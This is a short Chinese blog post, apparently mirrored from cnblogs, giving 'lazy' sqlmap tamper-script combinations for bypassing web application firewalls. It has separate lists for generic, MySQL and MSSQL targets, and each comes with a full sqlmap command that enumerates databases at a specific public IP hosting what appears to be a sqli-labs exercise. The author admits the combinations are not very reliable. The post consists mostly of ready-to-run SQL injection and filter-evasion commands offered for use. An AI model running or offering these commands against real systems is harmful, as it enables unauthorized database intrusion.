zoukankan      html  css  js  c++  java
  • sqlmap tamper懒人使用技巧

    sqlmap tamper懒人使用技巧

    测试了下,不是太靠谱,大家可以根据实际情况测试一下

    普通绕过
    tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes --proxy="http://127.0.0.1:8080" -batch

    MySQL数据库一把索绕过
    tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor --proxy="http://127.0.0.1:8080" -batch

    MSSQL数据库一把索绕过
    tamper=between,charencode,charunicodeencode,greatest,multiplespaces,percentage,randomcase,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper=between,charencode,charunicodeencode,greatest,multiplespaces,percentage,randomcase,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --proxy="http://127.0.0.1:8080" -batch

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    一阶倒立摆分析
    用Matlab进行部分分式展开
    2013/07/11 中科院软件所就业讲座总结
    解决vs2010“创建或打开C++浏览数据库文件 发生错误”的问题 Microsoft SQL Server Compact 3.5
    centos安装
    Mongodb——GridFS
    MongoDB—— 写操作 Core MongoDB Operations (CRUD)
    MongoDB—— 读操作 Core MongoDB Operations (CRUD)
    数据库
    影像数据库调研
  • 原文地址:https://www.cnblogs.com/autopwn/p/13631923.html
Copyright © 2011-2022 走看看